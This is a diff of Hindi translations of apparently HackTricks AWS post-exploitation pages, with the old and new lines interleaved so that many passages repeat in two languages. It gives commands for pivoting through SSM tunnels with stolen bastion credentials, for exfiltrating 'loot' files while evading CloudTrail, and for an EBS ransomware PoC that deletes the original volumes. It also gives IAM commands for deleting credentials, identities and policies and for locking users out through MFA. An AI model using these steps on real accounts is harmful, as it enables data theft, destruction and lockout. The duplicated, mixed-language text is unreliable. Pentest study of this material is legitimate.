इसका उपयोगी होने के मामलों में से एक परिदृश्य है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में pivoting करना।
|
||||
कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है, जिसे उन EC2 इंस्टेंस से pivot करने के लिए दुरुपयोग किया जा सकता है जिनके पास Security Groups या NACLs के कारण नेटवर्क एक्सेस नहीं है।
|
||||
एक उपयोगी परिदृश्य यह है कि [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS cluster में pivot करना।
|
||||
|
||||
> सत्र शुरू करने के लिए आपके सिस्टम पर SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> एक session शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें
|
||||
2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script का उपयोग करके Bastion EC2 के AWS temporary credentials प्राप्त करें
|
||||
4. अपने मशीन पर credentials को `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` profile के रूप में स्थानांतरित करें
|
||||
3. Bastion EC2 AWS temporary credentials को [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ प्राप्त करें
|
||||
4. अपनी मशीन पर `$HOME/.aws/credentials` फ़ाइल में credentials को `[bastion-ec2]` profile के रूप में स्थानांतरित करें
|
||||
5. Bastion EC2 के रूप में EKS में लॉग इन करें:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर अपडेट करें
|
||||
7. निम्नानुसार एक SSM tunnel बनाएं:
|
||||
6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` की ओर अपडेट करें
|
||||
7. निम्नानुसार एक SSM tunnel बनाएँ:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` टूल का ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के जरिए फॉरवर्ड किया जा रहा है और आप अपनी मशीन से निजी EKS क्लस्टर तक निम्न कमांड चलाकर पहुँच सकते हैं:
|
||||
8. `kubectl` टूल से ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के ज़रिए फॉरवर्ड हो रहा है और आप अपनी मशीन से निम्नलिखित कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
ध्यान दें कि SSL कनेक्शन्स तब तक फेल हो जाएँगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में इसका समकक्ष) सेट नहीं करते। चूँकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमले से सुरक्षित हैं।
|
||||
|
||||
ध्यान दें कि SSL कनेक्शन असफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में इसके समकक्ष) सेट नहीं करते। चूंकि ट्रैफिक secure AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
|
||||
|
||||
अंत में, यह technique निजी EKS clusters पर हमला करने तक सीमित नहीं है। आप किसी भी अन्य AWS service या कस्टम application पर pivot करने के लिए arbitrary domains और ports सेट कर सकते हैं।
|
||||
अंततः, यह तकनीक निजी EKS क्लस्टर्स पर हमले तक सीमित नहीं है। आप मनमाने domains और ports सेट करके किसी भी अन्य AWS सेवा या किसी कस्टम एप्लिकेशन की ओर pivot कर सकते हैं।
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### त्वरित लोकल ↔️ रिमोट पोर्ट फॉरवर्ड (AWS-StartPortForwardingSession)
|
||||
|
||||
यदि आपको केवल **EC2 instance से अपने लोकल होस्ट पर एक ही TCP पोर्ट फॉरवर्ड करने** की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं):
|
||||
यदि आपको केवल EC2 instance से अपने local host पर **एक TCP पोर्ट फॉरवर्ड** करने की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
यह कमांड आपके वर्कस्टेशन (`localPortNumber`) और instance पर चयनित पोर्ट (`portNumber`) के बीच एक द्वि-मार्गी टनल स्थापित करता है **किसी inbound Security-Group नियम को खोलने के बिना**।
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. instance पर उस डायरेक्टरी की ओर इंगित करने वाला एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
|
||||
1. instance पर उस डायरेक्टरी की ओर संकेत करते हुए एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. अपने workstation से SSM tunnel के माध्यम से फ़ाइलें प्राप्त करें:
|
||||
2. अपने workstation से SSM tunnel के माध्यम से फाइलें प्राप्त करें:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **आंतरिक वेब एप्लिकेशन तक पहुँच (e.g. Nessus)**
|
||||
* **आंतरिक वेब एप्लिकेशन तक पहुँच (उदा., Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -227,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
टिप: exfiltrating से पहले सबूत को संपीड़ित और एन्क्रिप्ट करें ताकि CloudTrail clear-text सामग्री को लॉग न करे:
|
||||
टिप: exfiltrating करने से पहले सबूत को Compress और encrypt कर लें ताकि CloudTrail clear-text content को लॉग न करे:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -236,9 +259,9 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### पब्लिक और प्राइवेट AMIs में संवेदनशील जानकारी खोजें
|
||||
### public और private AMIs में संवेदनशील जानकारी खोजें
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक tool है जो **public या private Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** बनाया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes को mount करने, और potential secrets या संवेदनशील डेटा के लिए scan करने की प्रक्रिया को automate करता है।
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक ऐसा टूल है जो **public या private Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने** के लिए बनाया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes को mount करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।
|
||||
|
||||
### EBS Snapshot साझा करें
|
||||
```bash
|
||||
@@ -246,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
यह proof of concept S3 post-exploitation notes में दिखाए गए Ransomware demonstration के समान है। KMS को RMS (Ransomware Management Service) के रूप में नामित किया जाना चाहिए, क्योंकि विभिन्न AWS services को एन्क्रिप्ट करने के लिए इसे इस्तेमाल करना कितना आसान है।
|
||||
यह proof of concept S3 post-exploitation notes में दिखाए गए Ransomware demonstration के समान है। KMS को इसके उपयोग की आसानी को देखते हुए Ransomware Management Service यानी RMS कहा जाना चाहिए, क्योंकि इसका इस्तेमाल विभिन्न AWS सेवाओं को encrypt करने के लिए करना कितना आसान है।
|
||||
|
||||
सबसे पहले एक 'attacker' AWS account से, KMS में एक customer managed key बनाइए। इस उदाहरण के लिए हम बस AWS को मेरे लिए key data manage करने देंगे, लेकिन वास्तविक परिदृश्य में कोई malicious actor key data को AWS के नियंत्रण के बाहर रखेगा। key policy बदलें ताकि किसी भी AWS account Principal को key इस्तेमाल करने की अनुमति मिले। इस key policy के लिए, account का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहलाता है।
|
||||
सबसे पहले 'attacker' AWS account से, KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम बस AWS को मेरे लिए key data manage करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key data को AWS के नियंत्रण के बाहर रखेगा। key policy को बदलकर किसी भी AWS account Principal को इस key का उपयोग करने की अनुमति दें। इस key policy के लिए खाते का नाम 'AttackSim' था और सभी एक्सेस की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है।
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -352,13 +375,13 @@ Now with the publicly accessible key to use. We can use a 'victim' account that
|
||||
|
||||
 
|
||||
|
||||
S3 ransomware example की तरह। This attack attached EBS volumes की copies snapshots का उपयोग करके बनाएगा, 'attacker' account से publicly available key का उपयोग करके नए EBS volumes को encrypt करेगा, फिर original EBS volumes को EC2 instances से detach करके delete करेगा, और अंत में उन snapshots को delete करेगा जिनका उपयोग नये encrypted EBS volumes बनाने में हुआ था। 
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
|
||||
|
||||
|
||||
यह भी उल्लेखनीय है कि script ने original EBS volumes को detach और delete करने के लिए EC2 instances को stop कर दिया। Original unencrypted volumes अब मौजूद नहीं हैं।
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
|
||||
|
||||
|
||||
@@ -433,15 +456,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
|
||||
]
|
||||
}
|
||||
```
|
||||
नए रूप से सेट किए गए key policy के propagate होने के लिए कुछ समय इंतज़ार करें। फिर 'victim' account में लौटें और नए एन्क्रिप्टेड EBS में से किसी एक volume को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं।
|
||||
नए सेट किए गए key policy के फैलने तक थोड़ी देर इंतज़ार करें। फिर 'victim' अकाउंट में लौटें और नई encrypted EBS volumes में से किसी एक को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं।
|
||||
|
||||
 
|
||||
|
||||
लेकिन जब आप एन्क्रिप्टेड EBS volume के साथ EC2 instance को वास्तव में फिर से start करने का प्रयास करेंगे, तो यह बस fail हो जाएगा और 'pending' state से फिर से हमेशा के लिए 'stopped' state में चला जाएगा क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता क्योंकि key policy अब इसकी अनुमति नहीं देती।
|
||||
लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में फिर से start करने की कोशिश करेंगे, तो यह विफल होगा और 'pending' स्थिति से वापस 'stopped' स्थिति में चला जाएगा, क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती।
|
||||
|
||||
 
|
||||
|
||||
यह उसी python स्क्रिप्ट का उपयोग है। यह 'victim' account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key का publicly available AWS ARN value लेता है। स्क्रिप्ट targeted AWS account में सभी EC2 instances से जुड़ी ALL उपलब्ध EBS volumes की encrypted कॉपियाँ बनाएगा, फिर हर EC2 instance को stop करेगा, मूल EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगा। इससे targeted 'victim' account में केवल encrypted EBS volumes ही बचे होंगे। ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. आप उन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के जरिए उन्हें उनके मूल स्थिति में restore कर सकते हैं, पर बस इतना जान लें कि दिन के अंत में यह एक ransomware PoC है।
|
||||
यह उपयोग किया गया python script है। यह 'victim' अकाउंट के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN वैल्यू लेता है। स्क्रिप्ट लक्षित AWS अकाउंट में मौजूद सभी EC2 instances पर जुड़े सभी उपलब्ध EBS volumes की encrypted कॉपियाँ बनाएगी, फिर हर EC2 instance को stop करेगी, मूल EBS volumes को detach करेगी, उन्हें delete करेगी और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगी। इससे लक्षित 'victim' अकाउंट में केवल encrypted EBS volumes ही शेष रहेंगे। केवल इस script का उपयोग TEST ENVIRONMENT में ही करें — यह destructive है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key के साथ recover कर सकते हैं और snapshots के माध्यम से इन्हें उनकी original स्थिति में restore कर सकते हैं, पर ध्यान रखें कि अंततः यह एक ransomware PoC है।
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -560,6 +583,6 @@ main()
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे स्थानांतरित करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
IAM एक्सेस के बारे में अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,15 +12,15 @@ For more information about IAM access:
|
||||
|
||||
## Confused Deputy समस्या
|
||||
|
||||
यदि आप **एक external account (A)** को अपने अकाउंट में किसी **role** तक पहुँच देने की अनुमति देते हैं, तो आपके पास संभवतः यह देखने की **कोई visibility नहीं** होगी कि **ठीक कौन उस external account तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि किसी अन्य external account (B) को external account (A) तक पहुँच है तो सम्भव है कि **B भी आपके अकाउंट तक पहुँच सके**।
|
||||
यदि आप **किसी बाहरी अकाउंट (A)** को अपने खाते में किसी **role** तक पहुँच देने की अनुमति देते हैं, तो आम तौर पर आपके पास यह देखने की **0 visibility** होगी कि **ठीक कौन उस बाहरी अकाउंट तक पहुँच सकता है**। यह एक समस्या है, क्योंकि अगर कोई दूसरा बाहरी अकाउंट (B) बाहरी अकाउंट (A) तक पहुँच सकता है, तो संभव है कि **B भी आपके खाते तक पहुँच सके**।
|
||||
|
||||
इसलिए, जब आप किसी external account को अपने अकाउंट में किसी role तक पहुँच देते हैं तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" string है जिसे external account (A) को आपकी संस्था में `assume the role` करने के लिए **specify करना ज़रूरी** होता है। चूँकि **external account B इस string को नहीं जानता होगा**, भले ही उसके पास A तक पहुँच हो, वह **आपके role तक पहुँचने में सक्षम नहीं होगा**।
|
||||
इसलिए, जब आप किसी बाहरी अकाउंट को अपने खाते के किसी role तक पहुँच देने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" स्ट्रिंग है जिसे बाहरी अकाउंट (A) को आपकी organization में role को assume करने के लिए **निर्दिष्ट करना आवश्यक** होता है। चूंकि **बाहरी अकाउंट B को यह स्ट्रिंग पता नहीं होगी**, भले ही उसके पास A पर पहुँच हो, वह **आपकी role तक पहुँच नहीं पाएगा**।
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **एक secret नहीं है**, कोई भी जो **IAM assume role policy पढ़ सकता है** वह इसे देख पाएगा। लेकिन जब तक external account A इसे जानता है और external account **B इसे नहीं जानता**, यह **B द्वारा A का दुरुपयोग कर आपके role तक पहुँचने को रोकता है**।
|
||||
हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **कोई secret नहीं है**, कोई भी जो **IAM assume role policy को पढ़ सकता है वह इसे देख पाएगा**। लेकिन जब तक बाहरी अकाउंट A को यह पता है, और बाहरी अकाउंट **B को यह पता नहीं है**, यह **B को A का दुरुपयोग कर आपके role तक पहुँचने से रोकता है**।
|
||||
|
||||
Example:
|
||||
उदाहरण:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -39,7 +39,7 @@ Example:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> किसी attacker को confused deputy का फायदा उठाने के लिए किसी तरह यह पता लगाना होगा कि क्या current account के principals अन्य accounts में roles impersonate कर सकते हैं।
|
||||
> किसी attacker के लिए confused deputy को exploit करने हेतु उसे किसी तरह यह पता लगाना होगा कि क्या principals of the current account other accounts में roles को impersonate कर सकते हैं।
|
||||
|
||||
### अनपेक्षित ट्रस्ट्स
|
||||
|
||||
@@ -51,9 +51,9 @@ Example:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
यह नीति **सभी AWS** को भूमिका ग्रहण करने की अनुमति देती है।
|
||||
यह नीति **allows all AWS** को role assume करने की अनुमति देती है।
|
||||
|
||||
#### Service को principal के रूप में
|
||||
#### Service as principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,7 +62,7 @@ Example:
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
यह नीति **किसी भी खाते** को उनके apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है।
|
||||
यह नीति **किसी भी अकाउंट को अनुमति देती है** कि वे अपने apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर कर सकें।
|
||||
|
||||
#### S3 को प्रिंसिपल के रूप में
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Example:
|
||||
}
|
||||
}
|
||||
```
|
||||
यदि किसी principal के रूप में S3 bucket दिया गया है—क्योंकि S3 buckets का कोई Account ID नहीं होता—तो यदि आपने **अपना bucket हटा दिया और attacker ने** उसे अपने ही account में बना लिया, तो वे इसका दुरुपयोग कर सकते हैं।
|
||||
यदि किसी principal के रूप में एक S3 bucket दिया गया है, क्योंकि S3 buckets का कोई खाता ID नहीं होता है, अगर आपने **अपना bucket हटा दिया और हमलावर ने** इसे अपने खाते में बना लिया, तो वे इसका दुरुपयोग कर सकते हैं।
|
||||
|
||||
#### समर्थित नहीं
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Example:
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **कुछ सेवाएँ यह समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार जैसे CloudTrail)।
|
||||
Confused Deputy समस्याओं से बचने का एक सामान्य तरीका origin ARN की जाँच करने के लिए `AWS:SourceArn` के साथ एक शर्त (condition) का उपयोग करना है। हालाँकि, **कुछ सेवाएँ यह समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार, जैसे CloudTrail)।
|
||||
|
||||
### क्रेडेंशियल हटाना
|
||||
निम्नलिखित permissions में से किसी के साथ — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — कोई अभिकर्ता access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys हटा सकता है, या instance profiles से roles को disassociate कर सकता है। ऐसी क्रियाएँ तुरंत वैध उपयोगकर्ताओं और एप्लिकेशन की पहुँच रोक सकती हैं और उन प्रणालियों के लिए जो उन credentials पर निर्भर हैं, denial-of-service या पहुँच खोने का कारण बन सकती हैं, इसलिए इन IAM permissions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
निम्नलिखित किसी भी अनुमतियों — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — के साथ कोई actor access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys हटा सकता है, या instance profiles से roles को disassociate कर सकता है। ऐसी क्रियाएँ वैध उपयोगकर्ताओं और एप्लिकेशनों को तुरंत ब्लॉक कर सकती हैं और उन सिस्टमों के लिए denial-of-service या पहुँच में कमी का कारण बन सकती हैं जो उन क्रेडेंशियल्स पर निर्भर करते हैं, इसलिए इन IAM अनुमतियों को सख्ती से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### पहचान हटाना
|
||||
जैसे अनुमतियाँ `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` होने पर, कोई व्यक्ति users, roles, या groups को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचान और संबंधित निशान हट जाते हैं। यह उन लोगों और सेवाओं के लिए तुरंत पहुँच तोड़ सकता है जो उन पहचान पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति हो सकती है, इसलिए इन IAM कार्रवाइयों को कड़ाई से प्रतिबंधित और मॉनिटर किया जाना चाहिए।
|
||||
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` जैसी अनुमतियाँ होने पर, कोई कर्ता उपयोगकर्ताओं, भूमिकाओं, या समूहों को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचानें और उनसे जुड़े ट्रेस मिट सकते हैं। इससे उन लोगों और सेवाओं की पहुँच तुरंत टूट सकती है जो उन पहचानों पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति पैदा हो सकती है, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और निगरानी में रखा जाना चाहिए।
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,8 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
इनमें से किसी भी अनुमति — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — के साथ कोई actor managed/inline policies को delete या detach कर सकता है, policy versions या permissions boundaries हटा सकता है, और users, groups, या roles से policies unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions मॉडल को बदल सकता है, जिससे उन प्रिंसिपल्स के लिए जो इन पॉलिसियों पर निर्भर थे तुरंत access की हानि या denial-of-service हो सकती है, इसलिए इन IAM actions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
निम्नलिखित अनुमतियों में से किसी के साथ — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — कोई actor managed/inline नीतियों को delete या detach कर सकता है, policy versions या permissions boundaries को हटा सकता है, और users, groups, या roles से नीतियों को unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions मॉडल को बदल सकता है, जिसके परिणामस्वरूप उन principals के लिए तुरंत पहुँच खोना या denial-of-service हो सकता है जो इन नीतियों पर निर्भर थे, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### फेडरेटेड पहचान हटाना
|
||||
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, और `iam:RemoveClientIDFromOpenIDConnectProvider` के साथ, एक actor OIDC/SAML identity providers को हटा सकता है या client IDs को निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को बाधित कर देता है, token validation को रोकता है और उन उपयोगकर्ताओं और सेवाओं का तुरंत access अस्वीकार कर देता है जो SSO पर निर्भर हैं, जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित न हो जाएँ।
|
||||
### फ़ेडरेटेड पहचान हटाना
|
||||
With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, कोई व्यक्ति OIDC/SAML पहचान प्रदाताओं को हटा सकता है या client IDs निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को तोड़ देता है, टोकन सत्यापन रोकता है और उन उपयोगकर्ताओं व सेवाओं की पहुँच तुरंत रोक देता है जो SSO पर निर्भर हैं, जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित न किए जाएँ।
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -138,8 +137,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### अनधिकृत MFA सक्रियकरण
|
||||
`iam:EnableMFADevice` के साथ, एक हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA डिवाइस रजिस्टर कर सकता है, जिससे वैध उपयोगकर्ता का साइन-इन रोका जा सकता है। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक डिवाइस को हटाया या रीसेट न किया जाए (नोट: यदि कई MFA डिवाइस रजिस्टर हैं, तो साइन-इन के लिए केवल एक की आवश्यकता होती है, इसलिए यह हमला एक्सेस को रोकने पर कोई प्रभाव नहीं डालेगा)।
|
||||
### अवैध MFA सक्रियकरण
|
||||
`iam:EnableMFADevice` के साथ, एक हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA device रजिस्टर कर सकता है, जिससे वैध उपयोगकर्ता का साइन-इन रोका जा सकता है। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक डिवाइस हटाया या रीसेट न किया जाए (नोट: यदि एकाधिक MFA devices पंजीकृत हैं, तो साइन-इन के लिए केवल एक की आवश्यकता होती है, इसलिए यह हमला एक्सेस को रोकने पर कोई प्रभाव नहीं डालेगा)।
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
